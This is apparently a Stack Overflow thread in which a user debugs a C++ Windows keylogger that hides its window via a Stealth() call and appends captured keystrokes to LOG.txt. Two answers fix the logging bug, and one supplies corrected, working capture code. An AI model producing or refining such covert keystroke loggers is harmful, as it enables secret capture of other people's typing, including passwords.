c++ keylogger not working correct - c++

Question

I've been a visitor of stackoverflow for quite some time and this is my first question on this site :)
I'm trying to write a keylogger which will save the keys pressed in a .txt file but the problem is this. I check the outputs on cmd.exe with cout and I see that it works fine but when I open the LOG.txt file I see that the program prints abcdefgh as 012345678. Only these noncapital letters don't work. Every other key is printed correctly inside the file.
Here is my main function:
int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}
Save function:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}

Answer 1

I see one thing wrong wrong so far, and a couple things I would do differently. First, I don't think I would make it open and close the file every time it writes a single character.
Second (the wrong wrong), is you call fprintf specifying a string %s and giving it a integer pointer &key. An easy fix should be fprintf(OUTPUT_FILE, "%c", (char)key), although much more elegant solutions exist for putting a single character ie putc.

Answer 2

IMHO, you have one major problem in this code : you use i as a loop index, and change its value in the loop.
The other problem is that your Save function is plain wrong.
On my own box, the following code displays correctly the pressed keys, and logs them to file LOG.txt :
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a");
fprintf(OUTPUT_FILE, " %c (%02x)", key, key);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
//Stealth();
//Focus();
char i;
// truncate log file
fd = fopen("LOG.txt", "w");
fclose(fd);
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
//i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
// system("pause"); never used ...
return 0;
}
Of course, I have to press Ctrl-C or Ctrl-Break to stop the program, and non alphanumeric keys show weird symbols ...
But when I enter ABCDEFGH012345678 and then Ctrl-C (not using keypad for numbers), I get as expected in LOG.txt :
A (41) B (42) C (43) D (44) E (45) F (46) G (47) H (48) 0 (30) 1 (31) 2 (32) 3 (33) 4 (34) 5 (35) 6 (36) 7 (37) 8 (38) . (11)
Last character represented is the Ctrl that is here a dot . but in reality is a square ...